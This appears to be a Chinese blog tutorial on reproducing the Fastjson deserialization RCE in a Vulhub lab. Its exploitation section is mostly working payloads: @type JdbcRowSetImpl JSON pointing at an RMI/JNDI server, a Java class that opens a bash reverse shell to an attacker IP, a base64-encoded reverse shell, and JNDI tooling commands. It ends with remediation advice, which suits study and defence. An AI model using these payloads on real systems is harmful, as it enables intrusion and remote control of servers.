Fastjson反序列化漏洞利用教程

Fastjson反序列化漏洞利用教程

一、基本概念与原理

1.1 什么是Fastjson反序列化?

Fastjson是一个由阿里巴巴开源的Java库,用于将Java对象转换成其JSON表示形式,也可以将JSON字符串转换成等效的Java对象。这个过程通常称为序列化和反序列化。Fastjson反序列化是指将JSON字符串转换为Java对象的过程。

1.2 漏洞原理

Fastjson在反序列化过程中,如果遇到特定格式的JSON数据,会触发执行任意命令,从而导致远程代码执行(RCE)漏洞。该漏洞主要源于Fastjson处理带有@type字段的JSON字符串时,会根据该字段的值来确定反序列化后的Java对象的类型,并调用这个类的setter方法。攻击者可以通过构造特定的JSON字符串来执行任意代码。

二、环境准备

2.1 启动Vulhub靶场环境

本文不多做介绍,如需要请点击此处查看即可。

三、漏洞复现

3.1 漏洞验证

  • 在dnslog里申请一个域名。
  • 访问拉取到的环境靶场并用burp suite拦截。
  • 修改请求为POST,修改Content-Type为: application/json,添加请求内容:
    {"b": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://192.168.15.128:1099/test","autoCommit": true}
    }
    
  • 验证成功,说明存在漏洞。

四、漏洞利用

4.1 构建恶意类

创建java脚本(脚本中的IP为攻击机IP):

import java.lang.Runtime;
import java.lang.Process;
public class GetShell {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.15.128/6666 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

在此文件的路径进入cmd执行如下命令编译为.class文件:

javac GetShell.java

将生成的.class文件放入kali,并在其所在路径执行如下命令,使其可被访问:

python3 -m http.server 80

使用marshalsec,启动RMI服务:

git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.15.128:80/#GetShell" 3333

重新访问靶场环境地址,burp抓包,修改请求头为POST,修改Content-Type为: application/json,并带入payload:

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.15.128:3333/GetShell","autoCommit":true}
}

点击发送,httpserver收到请求,RMI服务器收到请求,复现成功。

4.2 反弹shell操作步骤

正常情况下以上payload也可反弹shell,查了多个资料应该是jdk版本较高导致编译后无法反弹shell,更换环境比较头疼,下面是反弹shell操作步骤:
首先需要下载JNDI注入工具:

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit
mvn clean package -DskipTests

编译成功界面:

[INFO] --- maven-compiler-plugin:3.8.0:compile (default-compile) @ jndi-injection-exploit ---
[INFO] Changes detected - recompiling the module!
[INFO] Compiling 2 source files to /home/kali/桌面/JNDI-Injection-Exploit/target/classes
[INFO] ---------------------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ---------------------------------------------------------------------------------------
[INFO] Total time: 17.337s
[INFO] Finished at: 2024-05-09T14:49:28+08:00
[INFO] ----------------------------------------------------------------------------------------

构造反弹shell命令并进行base64编码:

echo "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" | base64

进入JNDI-Injection-Exploit/target,执行如下命令启动JDNI,生成payload:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.15.128"

执行如下命令监听:

nc -lvvp 4444

burp抓取漏洞环境的数据包修改请求头为POST,Content-Type: application/json,添加payload点击发送:

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.15.128:1099/calc","autoCommit":true}
}

五、总结与修复建议

5.1 总结

Fastjson反序列化漏洞是一种高危安全漏洞,攻击者通过构造恶意的JSON字符串可以执行任意命令。此漏洞影响广泛,需要引起高度重视。通过本文的学习和实践,读者可以掌握Fastjson反序列化漏洞的基本原理、复现方法和利用技巧。

5.2 修复建议

为了避免Fastjson反序列化漏洞带来的安全隐患,建议采取以下措施:

  • 及时更新Fastjson版本:确保使用最新版本的Fastjson库,以获取最新的漏洞修复和安全补丁。
  • 禁用AutoType功能:在Fastjson配置中禁用AutoType功能,避免反序列化过程中自动识别和实例化对象。
  • 输入校验和过滤:对用户输入的数据进行严格的校验和过滤,防止恶意数据的注入。
  • 使用安全的反序列化方式:采用更加安全的反序列化方式,如使用白名单机制限制可反序列化的类。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/9238.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

创建者模式之【建造者模式】

建造者模式 概述 将一个复杂对象的构建与表示分离,使得同样的构建过程可以创建不同的表示。 分离了部件的构造(由Builder来负责)和装配(由Director负责)。 从而可以构造出复杂的对象。这个模式适用于:某个对象的构建过程复杂的情况。由于实现了构建和…

什么是CANN和Ascend C

1 CANN是什么 异构计算架构CANN(Compute Architecture for Neural Networks)是华为针对AI场景推出的异构计算架构,向上支持多种AI框架,包括MindSpore、PyTorch、TensorFlow等,向下服务AI处理器与编程,发挥…

GenAI 用于客户支持 — 第 5 部分:可观察性

作者:来自 Elastic Andy James 本系列将带你深入了解我们如何在客户支持中使用生成式人工智能。加入我们,实时分享我们的历程,本篇文章重点介绍支持助理的可观察性。 本博客系列揭示了我们的现场工程团队如何使用 Elastic stack 和生成式 AI …

python安装selenium,geckodriver,chromedriver,Selenium IDE

安装浏览器 找到浏览器的版本号 chrome 版本 130.0.6723.92(正式版本) (64 位) firfox 116.0.3 (64 位),但是后面运行的时候又自动更新到了 127.0.0.8923 安装selenium > pip install selenium > pip show …

Docker部署SpringBoot项目(镜像部署)

目录 一、在pom.xml 文件中加入依赖 1.依赖内容 2.依赖说明和解释 3.使用流程 4.示例 5.注意 二、执行打包 1.使用命令打包 2.使用IDEA提供快捷方式 三、将jar包上传到服务器 四、创建相关配置 1.创建一个Dockerfile文件 2.添加配置 3.举例 五、生成Docker镜像 1.…

WPF+MVVM案例实战与特效(二十五)- 3D粒子波浪效果实现

文章目录 1、案例效果2、案例实现1、文件创建2. 功能代码实现3、粒子功能应用1、前端布局与样式2、代码解释2、 后端功能代码1、案例效果 2、案例实现 1、文件创建 打开 Wpf_Examples 项目、Models 文件夹下创建 3D粒子模型类 ParticleWaveEffectModel.cs 文件。在Tools 文件…

设计模式之建造者模式(各项装修物料组合套餐选配场景)

前言: 乱码七糟,我时常怀疑这个成语是来形容程序猿的! 无论承接什么样的需求,是不是身边总有那么几个人代码写的烂,但是却时常有测试小姐姐过来聊天(求改bug)、有产品小伙伴送吃的(求写需求)、有业务小妹妹陪着改代码(…

ffmpeg视频滤镜:组合两个视频为立体视频- framepack

视频描述 framepack 官方网址 > FFmpeg Filters Documentation 这个滤镜会将两个视频进行组合,有个前提是这两个视频的帧率、分别率必须一样。比如输入的是两个852x480 视频,输出可能是1704*480(左右拼接)、852*960&#xf…

【K8S问题系列 | 8】K8S集群资源突然爆满导致 Pod 状态变为 Pending 详细解决方案

在 Kubernetes 集群中,当 CPU 突然爆满时,Pod 可能无法获得所需的资源,从而导致其状态变为 Pending。以下是更详细的解决方案描述,有效应对这一问题。 解决方案 1: 扩展集群资源 描述 当集群资源不足以支撑当前的工作负载时&…

第18篇 :深入剖析systemverilog中 randomize 失败案例启示录(一)

经过前面章节的理论学习,我们对systemverilog中的随机约束,有一定的了解,那么,今天开始,着重讲述一些工作中遇到的困惑。主要通过一些例子,层层递进,举一反三,源于实践,剖…

mac端mumu模拟器adb识别不了问题

1.在终端中输入:system_profiler SPUSBDataType,把0x05e3 (Genesys Logic, Inc.)复制 2. 1.cd ~/.android/ 2.open . 3.找到.android/adb_usb.ini文件 将以上格式的Wendor ID放入该文件 3.依次执行 * adb devices* adb kill-server* adb start-server* adb disco…

Ubuntu版本、ROS版本与Python 版本之间的关系

引言 在机器人开发中,ROS(机器人操作系统)广泛应用于科研和工业领域,支持多个Ubuntu和Python版本。然而,随着不同Ubuntu LTS版本的发布以及Python逐渐从2.x向3.x过渡,ROS的版本选择和兼容性要求也在不断变化…

Linux - 信号

文章目录 一、信号的定义二、查看信号三、产生信号1、指令2、系统调用3、由软件条件产生信号4、异常5、键盘输入 四、保存信号1、补充:信号其他相关概念2、信号保存在哪,怎么保存?3、信号集操作函数 五、捕获信号1、概念2、捕获信号的时机3、…

PMP–知识卡片--项目干系人

项目干系人主要分为两类:参与项目的人和受项目影响的人。按照由近及远,从项目经理、项目团队等逐渐扩充至供应商、客户、监管机构等。 项目往往死在被忽略的干系人手上,作为项目经理,要尽可能地识别出来所有可能影响项目以及受项目…

MATLAB - ROS 2 分析器

系列文章目录 前言 本主题介绍如何连接 ROS 2 网络,分析网络图中所有元素的基本信息(如节点名称和节点之间的信息),以及可视化与 ROS 2 节点相关的参数(如主题、服务和操作)之间的交互。 一、连接并查看 RO…

分组校验在Spring中的应用详解

目录 前言1. 什么是分组校验2. 分组校验的基本原理3. 分组校验的实现步骤3.1 定义分组接口3.2 在校验项中指定分组3.3 校验时指定要校验的分组3.4 默认分组和分组的继承 4. 分组校验的优势和适用场景4.1 优势4.2 适用场景 5. 常见问题与解决方案5.1 校验未生效5.2 无法识别默认…

SDL打开YUV视频

文章目录 问题1:如何控制帧率?问题2:如何触发退出事件?问题3:如何实时调整视频窗口的大小问题4:YUV如何一次读取一帧的数据? 问题1:如何控制帧率? 单独用一个子线程给主线…

[MySQL]索引

索引介绍 索引是帮助数据库高效获取数据的数据结构。在数据之外,数据库系统还维护着满足特定查找算法的数据结构,这些数据结构以某种方式引用数据, 这样就可以在这些数据结构上实现高级查找算法,这种数据结构就是索引。 假设我们有…

window 利用Putty免密登录远程服务器

1 在本地电脑用putty-gen生成密钥 参考1 参考2 2 服务器端操作 将公钥上传至Linux服务器。 复制上述公钥到服务器端的authorized_keys文件 mkdir ~/.ssh vi ~/.ssh/authorized_keys在vi编辑器中,按下ShiftInsert键或者右键选择粘贴,即可将剪贴板中的文…

【大数据技术基础 | 实验八】HBase实验:新建HBase表

文章目录 一、实验目的二、实验要求三、实验原理四、实验环境五、实验内容和步骤(一)启动HBase集群(二)编写项目java代码(三)将代码导出jar包 六、实验结果七、实验心得 一、实验目的 掌握HBase数据模型(逻…